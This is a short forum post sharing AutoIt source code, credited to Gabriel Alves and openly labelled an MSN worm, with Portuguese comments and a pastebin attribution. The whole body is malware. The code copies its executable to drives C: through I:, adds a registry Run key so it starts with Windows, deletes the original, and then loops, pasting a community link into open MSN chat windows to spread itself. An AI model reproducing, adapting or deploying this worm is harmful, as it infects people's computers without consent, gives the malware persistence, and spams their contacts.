AutoIT [SOURCE] Worm De MSN. By: Gabriel Alves MOD: lucanerazzurro

[sQuo]

>; WORM PARA MSN Coded By: Gabriel Alves TO AUTOIT CODERS
       ; MAIS UM SCRIT CRIADO POR GABRIEL ALVES (c)  Esse é a Mehlro comunidade de Autoit
      
                  
           usb()
           Func usb ()
   if FileExists("c:\") Then
                   FileCopy("autoIt2.exe","c:\")
    
   EndIf
           if FileExists("d:\") Then
                   FileCopy("autoIt2.exe","d:\")
    
   EndIf
   if FileExists("e:\") Then
                   FileCopy("autoIt2.exe","e:\")
    
   EndIf
   if FileExists("f:\") Then
                   FileCopy("autoIt2.exe","f:\")
    
   EndIf
   if FileExists("g:\") Then
                   FileCopy("autoIt2.exe","g:\")
          
    
   EndIf
   if FileExists("h:\") Then
                   FileCopy("autoIt2.exe","h:\")
    
   EndIf
   if FileExists("i:\") Then
                   FileCopy("autoIt2.exe","i:\")
    
   EndIf
   EndFunc
    
       FileMove("autoIt2.exe","f:\Windows")
           RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run","autoIt2.exe","REG_SZ","f:\Windows\autoIt2.exe")
           FileDelete("autoIt2.exe")
    
          
           enviar()
       Func enviar()
       if WinExists("[CLASS:IMWindowClass]")Then ;Aqui o Verifica se existe alguma janela de classe para MSN
               Sleep (3000) ; Espera 1 segundo para Ativar
               WinWaitActive ("[CLASS:IMWindowClass]") ; Assim que a Janela for Ativa ,
               Sleep (1000) ;Ele Espera mais um segundo
               Send ("http://www.orkut.com.br/Main#Community?cmm=104897137 Acessem é  o melhor conteudo Sobre Autoit do Brasil!!!")
                      Send ("{ENTER}"); Aqui envia Enter pra cv com a pessoa
               Send ("{ENTER}"); Aqui envia Enter pra cv com a pessoa
       enviar() ; Volta pra Função de Novo
       Else
               enviar() ; Caso Não existir , volta pra função denovo
                  
                   EndIf
                  
   EndFunc

Fuente

pastebin.com